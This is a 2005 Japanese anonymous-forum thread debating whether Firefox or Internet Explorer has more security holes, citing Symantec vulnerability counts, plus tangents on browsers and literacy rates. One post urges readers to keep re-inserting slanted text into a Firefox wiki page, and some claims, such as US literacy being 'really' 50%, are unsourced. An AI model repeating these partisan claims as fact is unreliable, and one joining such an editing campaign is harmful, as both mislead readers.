【Firefox】IEより多かったセキュリティ脆弱性

【Firefox】IEより多かったセキュリティ脆弱性 at SOFTWARE

1:名無しさん＠お腹いっぱい。
05/08/13 18:01:31 iWBNLj7J0
Recently Symantec, the anti-virus security company, released a security report and in that report they pointed out that according to their test IE's
render engine is much more secure than the Firefox render engine.

最近、Symantec(アンチウイルス警備会社)はセキュリティレポートを発表しました。そして、そのレポートでは、
Microsoft Internet Explorerのエンジンでレンタリングする方が　Firefoxのエンジンを使ってレンダリングするよりはるかに安全だと指摘しました。
URLﾘﾝｸ(www.bbcworld.com)

Mozilla 製品には Internet Explorer よりもより多くのセキュリティ脆弱性があると報じられたのは、これが初めてではない。
3月には Symantec が Internet Security Threat Report Volume VII 【訳注：インターネットのセキュリティへの脅威関する報告 VII】を公開し、
2004年後半の状況を報告している。同報告は次のように述べている。「ブラウザに影響する脆弱性の発見は増加傾向にあり、この期間に報告された
Mozilla の脆弱性は Microsoft Internet Explorer の脆弱性よりも多い ... 2004年 7月 1日から 12月 31日までの間、
Symantec は Microsoft Internet Explorer に影響する脆弱性を 13 件報告しているが、この件数は、同期間中に Mozilla 製品で報告された 21 件と比較して、
明らかに少ない。Opera では 6 権の脆弱性が報告されており、Safari では報告されていない。」
URLﾘﾝｸ(slashdot.jp)

2:名無しさん＠お腹いっぱい。
05/08/13 18:03:46 AQKbvMi60
やっぱ枯れてるアプリの方が有利だよな。

3:名無しさん＠お腹いっぱい。
05/08/13 18:04:49 NqpZGMSf0
IEこそが最強だよ。ビル様バンザイ！！！

4:名無しさん＠お腹いっぱい。
05/08/13 18:23:46 Gh3COCDg0
Macにすれば問題なし。

5:名無しさん＠お腹いっぱい。
05/08/13 18:49:33 LlHlw92Y0
>>4
マカーは巣にｶｴﾚ　(ﾟДﾟ)

6:名無しさん＠お腹いっぱい。
05/08/13 20:07:21 /o1owByB0
Safari最強～！

7:名無しさん＠お腹いっぱい。
05/08/14 04:08:44 uKc9hC8U0
ﾎｼｭ

8:名無しさん＠お腹いっぱい。
05/08/14 04:25:13 K1BL2o5A0 BE:9947322-##
Sleipnirがふだんのサーフィン用で
Operaがエロサイト用な俺は勝ち組ってことですね

9:名無しさん＠お腹いっぱい。
05/08/14 09:09:52 uKc9hC8U0
これ以上Firefox信者に騙される可哀想な被害者を出さない為に
URLﾘﾝｸ(firefox.geckodev.org)
に以下の文章を書き込んで真実を伝えていきましょう。
(書き込んでもFirefox信者が定期的に消しているようなので以下の文章が消えていたら書き込む。)

まず、冒頭に
「*Mozilla FirefoxとMicrosoft Internet Explorer　 [#b10f5f4d]

Recently Symantec, the anti-virus security company, released a security report and in that report they pointed out that according to their test IE's
render engine is much more secure than the Firefox render engine.

最近、Symantec(アンチウイルス警備会社)はセキュリティレポートを発表しました。そして、そのレポートでは、
Microsoft Internet Explorerのエンジンでレンタリングする方が　Firefoxのエンジンを使ってレンダリングするよりはるかに安全だと指摘しました。

URLﾘﾝｸ(www.bbcworld.com)

Mozilla 製品には Internet Explorer よりもより多くのセキュリティ脆弱性があると報じられたのは、これが初めてではない。
3月には Symantec が Internet Security Threat Report Volume VII 【訳注：インターネットのセキュリティへの脅威関する報告 VII】を公開し、
2004年後半の状況を報告している。同報告は次のように述べている。「ブラウザに影響する脆弱性の発見は増加傾向にあり、この期間に報告された
Mozilla の脆弱性は Microsoft Internet Explorer の脆弱性よりも多い ... 2004年 7月 1日から 12月 31日までの間、
Symantec は Microsoft Internet Explorer に影響する脆弱性を 13 件報告しているが、この件数は、同期間中に Mozilla 製品で報告された 21 件と比較して、
明らかに少ない。Opera では 6 権の脆弱性が報告されており、Safari では報告されていない。」
URLﾘﾝｸ(slashdot.jp)

そして、Geckoエンジン採用のところに
「Internet Explorerとの互換性が乏しいので、現在Internet Explorer基準で作成されたサイト閲覧時に正しく表示されないという問題が発生します。」

10:名無しさん＠お腹いっぱい。
05/08/14 09:12:54 uKc9hC8U0
>>9
書き込むにはURLﾘﾝｸ(firefox.geckodev.org)のページの右にある「編集」タブをクリックです。

11:名無しさん＠お腹いっぱい。
05/08/14 09:16:50 Xn8MJPib0
(((´･ω･`)

12:名無しさん＠お腹いっぱい。
05/08/14 09:18:13 uKc9hC8U0
>>11
乙

13:名無しさん＠お腹いっぱい。
05/08/14 09:49:45 s0F3prcY0
早めに穴埋めてるか
放置してるかの違いじゃろて

14:名無しさん＠お腹いっぱい。
05/08/14 10:36:05 uKc9hC8U0
>>13
?

15:名無しさん＠お腹いっぱい。
05/08/14 10:42:34 BtwghWnp0
むしろ、IEと違って積極的に不具合を改修している姿勢を評価すべき。

16:名無しさん＠お腹いっぱい。
05/08/14 20:19:07 mDUyAQAu0
セキュリティが安全なほうのブラウザを使用したいと思います。
やっぱりIEのほうがいいということがわかりました。

17:名無しさん＠お腹いっぱい。
05/08/14 23:39:20 bN4Y/39o0
URLﾘﾝｸ(www.symantec.com)

ただし危険性の高い脆弱性に関しては、やはり Internet Explorer が大きな比率を占めています。
ただし危険性の高い脆弱性に関しては、やはり Internet Explorer が大きな比率を占めています。
ただし危険性の高い脆弱性に関しては、やはり Internet Explorer が大きな比率を占めています。
ただし危険性の高い脆弱性に関しては、やはり Internet Explorer が大きな比率を占めています。
ただし危険性の高い脆弱性に関しては、やはり Internet Explorer が大きな比率を占めています。
ただし危険性の高い脆弱性に関しては、やはり Internet Explorer が大きな比率を占めています。

ﾌﾟｯwwww

18:名無しさん＠お腹いっぱい。
05/08/15 09:29:18 ccAff8ng0
危険性の大小よりやっぱり元から少ない方がいいな

19:名無しさん＠お腹いっぱい。
05/08/15 09:51:00 s1XRHCho0
Mozillaはオープンソースだから不具合が見つけやすいのは当たり前じゃないの？

20:名無しさん＠お腹いっぱい。
05/08/15 10:02:05 1ldj+7Ci0
狙われる可能性はIEのほうが多いんだろうな。

21:名無しさん＠お腹いっぱい。
05/08/15 10:09:16 PBr0Zn4E0
>>19
脆弱性を発見するのに、ソースが公開されているかされていないかは
関係ありません

22:名無しさん＠お腹いっぱい。
05/08/15 12:47:06 Xesltahd0
少数派でよかったのにネットマスゴミが騒ぐから・・・

23:名無しさん＠お腹いっぱい。
05/08/15 18:40:43 CMsm4nFn0
>>22
そのとおり。安全なだったのはマックと同じ理由。
金もってて優秀な技術者を集めて何年もセキュリティフィクスやってるIEと
あら探し比べをしたらFFが負けるのは当然のこと。
所詮はネスケだしなｗ

24:名無しさん＠お腹いっぱい。
05/08/16 00:37:46 JQZ8L8140
しかもシェアさがってるしｗ
----
IEの巻き返しでFireFoxがシェア減少に

月例の米ブラウザ市場調査で今年順調にシェアを伸ばしていたFirefoxが初めて減少。
IEとSafariがわずかずつ伸びた。

　これまで順調に拡大してきたFireFoxブラウザの7月のシェアが、
巻き返しを見せたInternet Explorer（IE）に押される形で初めて減少に転じた。
NetApplicationsがWebサイトトラフィック集計結果として8月12日に発表した。

　7月のFireFoxのシェアは8.07％となり、過去最高を記録していた6月の8.71％から後退した。
これに対してIEは6月の86.56％から、7月は87.2％へと一転上昇。MacのSafariは2.13％に伸び、
以下Netscape（1.50％）、Opera（0.49％）、 Mozilla（0.52％）、その他（0.09％）はほぼ変動なしだった。
（後略）

URLﾘﾝｸ(www.itmedia.co.jp)

25:名無しさん＠お腹いっぱい。
05/08/16 00:47:08 GzQZ8Vof0
いまや Internet Explorer 以外のブラウザにも脅威が及んでいます。
従来、Web ブラウザの脆弱性を狙ったエクスプロイトの大半は、Web ブラウザの中で最も広く利用されている
Microsoft Internet Explorer を標的とするものでした。

そのため、多くのユーザーは Internet Explorer 以外のブラウザ、たとえば Mozilla、Mozilla Firefox、Opera、Safari などに
移行しました。しかしユーザーが Internet Explorer から移行すると、攻撃者も移行します。
事実、この期間に報告された Mozilla の脆弱性は Internet Explorer より多くなっています。

シマンテックが報告した脆弱性件数は Microsoft Internet Explorer が 13 件、Mozilla の各ブラウザが 21 件、
Opera が 1 件、Safari がゼロでした。
ただし危険性の高い脆弱性に関しては、やはり Internet Explorer が大きな比率を占めています。

　　　　　　　　『ただし危険性の高い脆弱性に関しては、やはり Internet Explorer が大きな比率を占めています。』

．

26:名無しさん＠お腹いっぱい。
05/08/16 01:07:14 eGH786NG0
左下、一瞬ゴミかと思ってディスプレイ拭いた

27:名無しさん＠お腹いっぱい。
05/08/16 08:07:14 TzUNnhD90
>>73
URLﾘﾝｸ(www.symantec.com)

いまや Internet Explorer 以外のブラウザにも脅威が及んでいます。
従来、Web ブラウザの脆弱性を狙ったエクスプロイトの大半は、Web ブラウザの中で最も広く利用されている
Microsoft Internet Explorer を標的とするものでした。

そのため、多くのユーザーは Internet Explorer 以外のブラウザ、たとえば Mozilla、Mozilla Firefox、Opera、Safari などに
移行しました。しかしユーザーが Internet Explorer から移行すると、攻撃者も移行します。
事実、この期間に報告された Mozilla の脆弱性は Internet Explorer より多くなっています。

シマンテックが報告した脆弱性件数は Microsoft Internet Explorer が 13 件、Mozilla の各ブラウザが 21 件、
Opera が 1 件、Safari がゼロでした。
ただし危険性の高い脆弱性に関しては、やはり Internet Explorer が大きな比率を占めています。

　　　　　　　　『ただし危険性の高い脆弱性に関しては、やはり Internet Explorer が大きな比率を占めています。』

【Firefox】IEより多かったセキュリティ脆弱性
ｽﾚﾘﾝｸ(software板)

28:名無しさん＠お腹いっぱい。
05/08/16 09:02:38 +Muv63dc0
>26
漏れなんかドット抜けかと思ったよ！

29:名無しさん＠お腹いっぱい。
05/08/16 19:51:11 w2xfZtMa0
「．」

俺もビックリした。ｗ

30:名無しさん＠お腹いっぱい。
05/08/16 21:38:05 IPxYbboG0

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　.

.

..

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　.

31:名無しさん＠お腹いっぱい。
05/08/16 23:10:21 ffNOMO2K0
火狐ユーザー頑張れ。もっと抵抗しろよ

32:名無しさん＠お腹いっぱい。
05/08/17 03:37:49 n69BXJ4R0
ユーザーにしてみればシェアが低いほうがIEにクラッカーが流れるから好ましい状況でしょ

33:名無しさん＠お腹いっぱい。
05/08/17 10:30:06 wnDPDJMg0
今こそWindows95+IEでのネットサーフィンだ！
シェアの低さでは一級品

34:名無しさん＠お腹いっぱい。
05/08/17 12:13:52 EUt9nQYg0
>>33
つ　iframe iframe iframe....

35:名無しさん＠お腹いっぱい。
05/08/19 06:17:57 yKqYUade0
　

36:名無しさん＠お腹いっぱい。
05/08/19 08:09:30 C4bSCztU0
*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*
IE使用率、不動の95％
URLﾘﾝｸ(www.itmedia.co.jp)
Netscapeはもう終わりなのか
URLﾘﾝｸ(www.itmedia.co.jp)
Appleの新ブラウザでMozillaに新たな疑問
URLﾘﾝｸ(www.itmedia.co.jp)
ブラウザ戦争はIEの勝利で数年前に終わりました。
レンダリングエンジンも多くの人に
もう新しい記事もあまり出てきません。Appleにも採用されませんでした。
*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*

NetscapeやMozillaはシェア取れなくてもうだめぽです＿|￣|○
IEで見れる＝世界標準です。ページを作る人もIEにあわせて書いています。
NetscapeやMozillaを使うということは、世の中の標準からはずれています。
ネットでは情報を得るためにページが表示される事が重要です。
NetscapeやMozillaでは表示が崩れたり見られないページがあります。

この機会に乗り換えましょう。ブラウザ乗り換え案内です。

*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*
InternetExplorer　URLﾘﾝｸ(www.microsoft.com)
Opera　URLﾘﾝｸ(www.jp.opera.com)
その他IEコンポーネントブラウザなど

Safari URLﾘﾝｸ(www.apple.co.jp)
IE(mac) URLﾘﾝｸ(www.microsoft.com)
*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*

37:名無しさん＠お腹いっぱい。
05/08/19 08:11:31 C4bSCztU0
*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*
ホームページの84％は英語
URLﾘﾝｸ(www.i-cube.co.jp)
英語を公用語とする国は51ヶ国
Wikipedia項目ﾘﾝｸ
世界大戦は英米の勝利で数十年前に終わりました。
通貨も多くの人に
もう新しい言語もあまり出てきません。エスペラント語も消滅しました。
*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*

日本語や韓国語はシェア取れなくてもうだめぽです＿|￣|○
英語が通じる＝世界標準です。ページを作る人も英語圏住民にあわせて書いています。
日本語や韓国語を使うということは、世の中の標準からはずれています。
ネットでは情報を得るためにページの文章を理解できる事が重要です。
日本語や韓国語では表示が崩れたり理解できないページがあります。

この機会に乗り換えましょう。第一言語乗り換え案内です。

*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*
ジオス　URLﾘﾝｸ(www.geos.co.jp)
イーオン　URLﾘﾝｸ(www.aeonet.co.jp)
その他子供向け英語教室など

ヤマハ英語教室 URLﾘﾝｸ(www.yamaha.co.jp)
小学館の英語教室 URLﾘﾝｸ(www.shopro.co.jp)
*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*+-+*

38:名無しさん＠お腹いっぱい。
05/08/19 11:10:38 2jCCSlZo0
まぁwikipediaの項目数とか見ていると

英語読めないのは

絶対人生損してるな

まぁオレも読めねえんだけど(´･ω･`)

39:名無しさん＠お腹いっぱい。
05/08/19 11:49:34 C4bSCztU0
日本語が読めるって結構人生有意義だよね
逆に中国語読めたとしても人生無駄にしてるって感じがする。

英語(第一言語):約3億4000万人
英語(第二言語):約6億
日本語:1億2700万人
中国語:12億

40:名無しさん＠お腹いっぱい。
05/08/19 23:52:07 wwjh/exI0
>39
識字率とか考えたらどうなるんだろうね。

41:名無しさん＠お腹いっぱい。
05/08/20 06:17:10 a0FhUOyR0
>現在中国の成人の中で、字の読める割合（識字率）は８１．５％に過ぎない。
URLﾘﾝｸ(64.233.179.104)

１２×０８５=１０．２億人

42:名無しさん＠お腹いっぱい。
05/08/20 06:23:12 a0FhUOyR0
こっちでは識字率93.3%
URLﾘﾝｸ(64.233.179.104)

北京週報では
>中国の青年と中年層の非識字率は、1990年の10.34％から2002年には5％以下に減少
URLﾘﾝｸ(64.233.179.104)

どれを信じていいものか・・・・

43:名無しさん＠お腹いっぱい。
05/08/20 06:33:09 GWR4XGRC0
アメリカ低いんだな。

Wikipedia項目ﾘﾝｸ

日本 - 99.8%（男性99.9%、女性99.7%）
中華人民共和国 - 90.9%（男性95.1%、女性86.5%）
インドネシア - 87.9%（男性92.5%、女性83.4%）
インド - 58.0%（男性69.0%、女性46.4%）
パキスタン - 41.5%（男性53.4%、女性28.5%）
バングラデシュ - 41.1%（男性50.3%、女性31.1%）

アメリカのように、表向きの識字率は80％程度としているが実質的には高くない国もある。
有識者の間では、アメリカの場合実質識字率は50％程度と言われている。

44:名無しさん＠お腹いっぱい。
05/08/22 09:10:22 HA5TYuyP0
こうして比較すると日本の識字率異常に高いな。
つーか100%じゃないのはなぜだ。

45:名無しさん＠お腹いっぱい。
05/08/22 09:20:46 cCY5INSB0
中国の数値は怪しいな

人口すら怪しいのに

46:名無しさん＠お腹いっぱい。
05/08/22 18:12:30 buxsS6G20
>>44
点字を読めない盲目の人とか、両手もキーボードも使えず字を書けない人とか？

47:名無しさん＠お腹いっぱい。
05/08/23 10:50:45 /rCCwSe50
保守

48:名無しさん＠お腹いっぱい。
05/08/23 12:19:52 x+VjSdeN0
IEよりは上回っているが、IEコンポーネントブラウザの足元にも及ばない印象。
やっと競争できる圏内に入ってきたかな。

レンダリングが速い○　(特筆すべきってほどでもないが・・)
IE向けのサイトの再現度が高い○
拡張機能が豊富○
ＩＥよりは機能は豊富○
IE向けのサイトで表示が崩れるX
拡張機能を管理しきれないＸ
デフォルトでは機能が弱いＸ
拡張しても機能が弱いＸ　(拡張できるだけでＩＥタブブラウザよりは弱い)
再セットアップが面倒くさいＸ
無邪気な不利して実は営利団体Ｘ　(オープンソースにはけっこう多い)

49:名無しさん＠お腹いっぱい。
05/08/23 18:01:56 ayGMimO70
結局sleipnirみたいなのにゲッコエンジン積むのが一番いいんじゃないかな・・・・
と思う今日この頃。

50:名無しさん＠お腹いっぱい。
05/08/24 00:57:08 9iQhTnKY0
>>49
そのゲッコエンジンの脆弱性がIEより多いから(ry

51:名無しさん＠お腹いっぱい。
05/08/24 01:17:41 wu/1PqRt0
結局のところゲッコが安全なのは穴の数というより、使う人の人数がすくなくて
ターゲットにしてもやりがいがないからなんでしょ？

52:名無しさん＠お腹いっぱい。
05/08/29 21:48:54 +BqfGIin0
まぁそう言うこと。

53:名無しさん＠お腹いっぱい。
05/08/30 10:50:26 Fjvkl+zb0
脆弱性の数で議論するのは結構だが、それよりも重要なのは
脆弱性の危険度と、見つかった後の対応だろ
IEなんて頻繁に危険度の高い脆弱性が見つかる上に、放置されてる奴だってあるじゃねーか

54:名無しさん＠お腹いっぱい。
05/08/30 12:57:46 blQiAbqkP
>>53
そりゃぁそうだよ。今やWindowsが一人勝ち状態になり
デフォルトでIEがあるんだから。
そう焦らなくても余裕って訳。by社員

55:名無しさん＠お腹いっぱい。
05/08/31 03:09:53 +ckQqmg10
>>53
ナイトリービルドで修正(?)されても、それを持って「対応が早い」とはちょっと無理があるな。

56:名無しさん＠お腹いっぱい。
05/09/02 19:16:57 d7prQd4c0
オープンソースだから徹底的なコード監査する人が出てきてそれに比例する数の脆弱性が見付かるのは当然

んで、　プロプライエタリなのにぼろぼろ穴が見付かるIEはなんなんだろうね？ﾃﾗﾜﾛｽ

57:名無しさん＠お腹いっぱい。
05/09/02 22:03:01 iDa5CzKt0
>Mozilla の脆弱性は Microsoft Internet Explorer の脆弱性よりも多い

58:名無しさん＠お腹いっぱい。
05/09/03 00:22:05 7R47Id/90
で、IEはJPEG Exploitは修正されてんの？

59:名無しさん＠お腹いっぱい。
05/09/03 00:41:03 +xCwACp90
FirefoxはActiveXに非対応だから安全だという俗説があるが、大嘘である。
なぜなら、Firefox(Mozilla)にはXPCOMとXPConnectという技術があるからだ。

XPCOMとは、Firefoxの「ファイル操作」「通信」などといったOSに近い部分での
処理を行うためのライブラリのようなもの。
それをJavaScriptから呼び出すための仕組みがXPConnect。

XPConnectは基本的にXPConnect特権を持った「信頼されたスクリプト」からしか
利用できないため、　原　則　と　し　て　、Webページのスクリプトが
勝手にこれらを利用することはない(筈)。

だが、このXPConnect特権を不正に取得できてしまうセキュリティホール
(Firefox 1.0.6でやっと修正された)を突くと、攻撃者はXPCOMを使ってなんでもやり放題になる。

XPCOMにはファイル操作のAPIもあるしネイティブアプリケーションを起動するAPIもある、
それらが全て開放されるのだから、どれほど危険な話なのかわかるだろう。

この構図は、ActiveXのセキュリティの問題と全く同じものだ。

60:名無しさん＠お腹いっぱい。
05/09/03 01:51:05 RNUrU2YV0
>>54
こういう意識の社員が増えてゆくと会社が腐るんだろうな。

61:名無しさん＠お腹いっぱい。
05/09/03 02:47:18 MH7bHDVJ0
>>59
シェア１位だったら色々バラ撒かれてただろうな

62:名無しさん＠お腹いっぱい。
05/09/03 03:24:47 Ljl6hUhU0
>>59
引用したときは、引用元を明示しましょうね。

63:名無しさん＠お腹いっぱい。
05/09/05 09:42:03 4ypzUbij0
>>59
信頼性ゼロ

64:名無しさん＠お腹いっぱい。
05/09/05 13:38:18 dYzUop3O0
ここってなんでこんなに寂れてるの？
Firefox使ってる奴とかが反論しに来たりしないの？

65:名無しさん＠お腹いっぱい。
05/09/05 19:09:38 jcVS55rr0
踊りが足りないからさ

66:名無しさん＠お腹いっぱい。
05/09/06 14:52:51 eeMue3Wx0
>>64
反論出来ないだけだろw

67:名無しさん＠お腹いっぱい。
05/09/06 21:50:09 BvS5W4Ez0
反論も何も的が外れてて例え意味もなく反論したいとしても反論しようがないんだもの

68:名無しさん＠お腹いっぱい。
05/09/06 23:02:44 eeMue3Wx0
>>67
>>1
>Mozilla の脆弱性は Microsoft Internet Explorer の脆弱性よりも多い

これのどこが的はずれなんだ?

69:名無しさん＠お腹いっぱい。
05/09/06 23:08:33 hjp2csdS0
>>68
どうしてそこだけを引用するんだい？

70:名無しさん＠お腹いっぱい。
05/09/06 23:19:30 QoG9uGn90
瞬時値が全てなんですよきっと

71:名無しさん＠お腹いっぱい。
05/09/07 05:08:52 NXFy2A/e0
＞ただし危険性の高い脆弱性に関しては、やはり Internet Explorer が大きな比率を占めています。

72:名無しさん＠お腹いっぱい。
05/09/07 08:53:18 3PT5bNTD0
FireFox(笑)

73:名無しさん＠お腹いっぱい。
05/09/07 18:01:18 DEqsPkcn0
IE（苦笑）

74:名無しさん＠お腹いっぱい。
05/09/08 05:04:41 7i04fuDJ0
>>71
>>69

75:名無しさん＠お腹いっぱい。
05/09/08 05:13:53 CGCwbBq+0
ｲﾀｲ布教ｽﾚはここですかw

76:名無しさん＠お腹いっぱい。
05/09/08 05:33:06 QiUSYg/E0
>>74
>Mozilla の脆弱性は Microsoft Internet Explorer の脆弱性よりも多い
＞ただし危険性の高い脆弱性に関しては、やはり Internet Explorer が大きな比率を占めています。

77:名無しさん＠お腹いっぱい。
05/09/08 08:52:36 7i04fuDJ0
>>75はｲﾀｲ火狐信者

78:終わったな
05/09/10 09:15:21 uFgXuSit0
ITmedia エンタープライズ：Firefoxに極めて重大な脆弱性
URLﾘﾝｸ(www.itmedia.co.jp)

79:名無しさん＠そうだ選挙に行こう
05/09/10 20:50:12 ANTWE8TJ0
>>78

80:名無しさん＠そうだ選挙に行こう
05/09/10 22:56:27 h+6zGum50
最近変な動作が多いと思ったら、これが原因か。
こんな事なら、IEから乗り換えるんじゃなかった・・・

こんな無責任なブラウザ、もう二度と使わない。

81:名無しさん＠そうだ選挙に行こう
05/09/10 23:21:23 FGo68clT0
↑三重三重すぎてﾜﾛｽｗ

82:名無しさん＠そうだ選挙に行こう
05/09/11 12:24:28 +x3JCzpA0
きじゃくせいがあぶないんですよ！！

83:名無しさん＠そうだ選挙に行こう
05/09/11 14:27:03 KNjr+KSN0
自分がＩＥを捨てたのはうｐdateの時に関係ないウインドウズ内部の設定まで勝手に
変えられてしまうことがとてもウザかったから。いちいち探して元に戻すのめんどくせー
べつにfoxじゃなくてもいいんだけど。

84:名無しさん＠そうだ選挙に行こう
05/09/11 20:21:23 tsvBPmBE0
tst

85:名無しさん＠そうだ選挙に行こう
05/09/11 22:18:54 Afkb25s90
似たようなｽﾚばっかり。いつまでやってんの、馬鹿じゃんｗ

86:名無しさん＠お腹いっぱい。
05/09/12 05:37:41 EnZKS8gQ0
国際化ドメイン名 (IDN) サポート関する潜在的に重大なセキュリティ脆弱性
URLﾘﾝｸ(www.mozilla-japan.org)
パッチ出てるぞ

87:名無しさん＠お腹いっぱい。
05/09/12 19:19:25 VdpiUOLG0
こんなスレまで貼りに来るとは、ご苦労さま

88:名無しさん＠お腹いっぱい。
05/09/12 20:25:42 6HPZHAnp0
きっと新しい人が次々入れ変わって同じような話してるんだよｗ

89:名無しさん＠お腹いっぱい。
05/09/13 02:18:22 0Jvvj4o10
別にパッチなんて当てなくても手動で即変更出来るぞ新Ver出るまでそれで対応

90:名無しさん＠お腹いっぱい。
05/09/13 08:56:46 H7NqZcho0
まだ日本では使用者が少ないだけ救いだよ
世界中に大騒ぎする醜態を晒さずに済むんだからな

91:名無しさん＠お腹いっぱい。
05/09/19 17:51:01 ikINWNBv0
URLﾘﾝｸ(www.eeye.com)
Firefoxは0day攻撃を考慮したセキュリティFixをしているのにIEはこんなにあるよ。大変ですね＾＾

92:名無しさん＠お腹いっぱい。
05/09/19 20:16:35 3Ue/Qh5T0
FirefoxもXPConnect特権を不正に取得できてしまう脆弱性を1.0.6になるまで長い間放置していたからなあ・・・・・
Mozillaはまだ放置・・・・・・

93:名無しさん＠お腹いっぱい。
05/09/19 23:23:25 Y6/EeQU20
ヒント：Seamonkey1.0a。
ヒント2：Firefoxは1.0.6で解決済。
ヒント3：IEは未だに13もの脆弱性を放置。
IE儲 m9（^Д^）ﾌﾟｷﾞｬー

94:名無しさん＠お腹いっぱい。
05/09/20 21:17:49 YbotFLsc0
>ヒント3：IEは未だに13もの脆弱性を放置。
18じゃ？

95:名無しさん＠お腹いっぱい。
05/09/22 01:32:28 Z5Ngx6fn0
IEもFireFoxも、JavaScriptやActiveXをONにしてたら危険なのは一緒。
だからどちらを使うにしても、必要に応じてON/OFFするのが好ましい。
だったらわざわざFireFox入れるより、コンポーネントブラウザ使ってた方が
スマートではなかろうか?
（コンポーネントブラウザの方がその辺充実しているし…）

…と思う漏れは、間違ってるだろうか。

96:名無しさん＠お腹いっぱい。
05/09/22 04:24:19 R4QU3Vdv0
>>95
全くその通り

ただIEだが過去に切ったつもりでもイントラネットゾーンとして認識して
イントラネットで許可していると実行されるMS01-010というの脆弱もあった
ふしあなさんトラップというのもありましたなあ

だからIEは今一つ使う気がしないのよ

97:名無しさん＠お腹いっぱい。
05/09/23 02:18:06 vLpy4miJ0
Firefox 1.0系はタブを閉じてもメモリを解放できてなかったそうだ。
まじで糞フトだな。
URLﾘﾝｸ(andore.com)

98:名無しさん＠お腹いっぱい。
05/09/23 11:45:44 2B2RKyy5O
そこでOperaですよ

99:名無しさん＠お腹いっぱい。
05/09/23 19:39:27 1nd1OXcE0
>>97　なぜこのスレに……

100:名無しさん＠お腹いっぱい。
05/09/23 20:43:42 vLpy4miJ0
ﾌﾟﾆﾙの方が好きだ。
Firefoxを使い始める前から使っていたんで。

101:名無しさん＠お腹いっぱい。
05/09/23 20:53:08 kKG3kEBN0
それIE

102:名無しさん＠お腹いっぱい。
05/09/23 21:37:19 QgFQ1jK10
タブとスキンのデザインならFirefoxだな
ＩＥはアイコンのデザインが好きになれない

103:名無しさん＠お腹いっぱい。
05/09/23 21:49:30 aolFdLWIO
ただ他の人と違う奴を使いたいだけじゃない?

104:名無しさん＠お腹いっぱい。
05/09/23 23:17:55 fjV0URkN0
てゆーか、タブを右クリックして一番上に出るのは”閉じる”にしる！
って、何処に言えばいい？

105:名無しさん＠お腹いっぱい。
05/09/23 23:22:25 aolFdLWIO
開発元

106:名無しさん＠お腹いっぱい。
05/09/23 23:24:28 432+yH/F0
そういった細かいところに配慮が欠けている。

107:名無しさん＠お腹いっぱい。
05/09/24 00:11:20 JKbW/6bF0
中クリック一発でタブ閉じるようにしてるから気付かんかった

108:名無しさん＠お腹いっぱい。
05/09/24 04:33:11 vsQVP3cO0
1.0.7来たね

109:名無しさん＠お腹いっぱい。
05/09/24 10:29:17 7Ebz4Vfz0
＞タブを右クリックして一番上に出るのは”閉じる”にしる！

これは投入されてる？

110:名無しさん＠お腹いっぱい。
05/09/24 14:41:29 ZuUO2Q160
オペラの逆襲が始まったし、どうなることやら。
でもオペラごてごてしすぎ。
一般の支持も受けたいなら、シンプルにしなきゃ。

111:名無しさん＠お腹いっぱい。
05/09/24 14:55:40 plI4QWGe0
>>110
確かにそうかもしれない。
Operaは設定UIで設定できない部分が結構あるし、ini弄れってのはかわいそうかも。
「初期の狐は何も付いてないから必要な拡張を2,3個入れたい」
そんな人には狐の方がシンプルに感じるだろう。
でも正直、IEに警戒感を覚えるような奴らが拡張2,3個で済ますわけねーんだよなｗ
シンプルってのなら、今、作成中のBegelがよさげかな。
まだまだ未完成だけどDonutっぽくてしれらより取っ付きやすい。
期待してるとこなんだが・・・完成するかなぁ？

112:名無しさん＠お腹いっぱい。
05/09/24 15:03:52 JKbW/6bF0
俺はTabMixとChatzillaしか入ってないけどな

113:名無しさん＠お腹いっぱい。
05/09/24 15:07:50 QS0blr2v0
オレはsageと翻訳パネルとAll-in-oneジェスチャーとscrapbookとminiT+とDownload Statusbarしか入ってないけどな

114:名無しさん＠お腹いっぱい。
05/09/24 15:24:24 GgCxhSVb0
Begel良さ気って、だったらDonutでいいんじゃないの？
Geckoってそんなに良いの？

115:名無しさん＠お腹いっぱい。
05/09/24 17:40:42 plI4QWGe0
>>112
うはｗそういう人もいるんだな。
ってかChatzillaってIRCの拡張だよな？
その拡張だけでFxﾌﾞﾗｳｻﾞをメインとして使ってるの？

>>113
たぶん君は着実に拡張が増えてくと思うｗｗｗｗ

>>114
話の流れとしてシンプルなﾌﾞﾗｳｻﾞ。
んでOpera・Fxに変わるものってことでIEｺﾝﾎﾟｰﾈﾝﾄを外してみただけです。
Donutは餡の作者が帰ってきたらしいし楽しみですな。

116:112
05/09/24 17:44:23 JKbW/6bF0
>>115
そう。
素のFirefoxはタブブラウザのくせに新しいウィンドウをバンバン開くからTabMixで黙らせた。
RSSリーダ入れようと思ったけどいいのが無かったんでMirandaで拾ってる。

117:名無しさん＠お腹いっぱい。
05/09/24 21:44:36 qCy15ixo0
別ブラウザの話（事実と異なる）をしている人が、
「Firefox　IEより多かったセキュリティ脆弱性」というスレッドに沸いているのがちと不思議

118:名無しさん＠お腹いっぱい。
05/09/24 22:21:40 plI4QWGe0
>>116
RSSをMirandaで拾うって・・
知らんソフトだったからググって見たけどそんな用途に使えるとは。すげーなｗ

>>117
別ﾌﾞﾗｳｻﾞの話して悪かった。
でも事実と異なることは話してないと思うぞ。
例えばどのへん？

119:名無しさん＠お腹いっぱい。
05/09/25 04:28:57 Zwu1xzPH0
>>118
オレも的外れなことを書いていると分かったけど、スレちがいだからレスを我慢したクチだよ。
そういう話題はよそへ移動した方がよいと思う。
火狐愛好者が便乗してきて、話題をほかのブラウザに変えるのも心配だしね。

120:名無しさん＠お腹いっぱい。
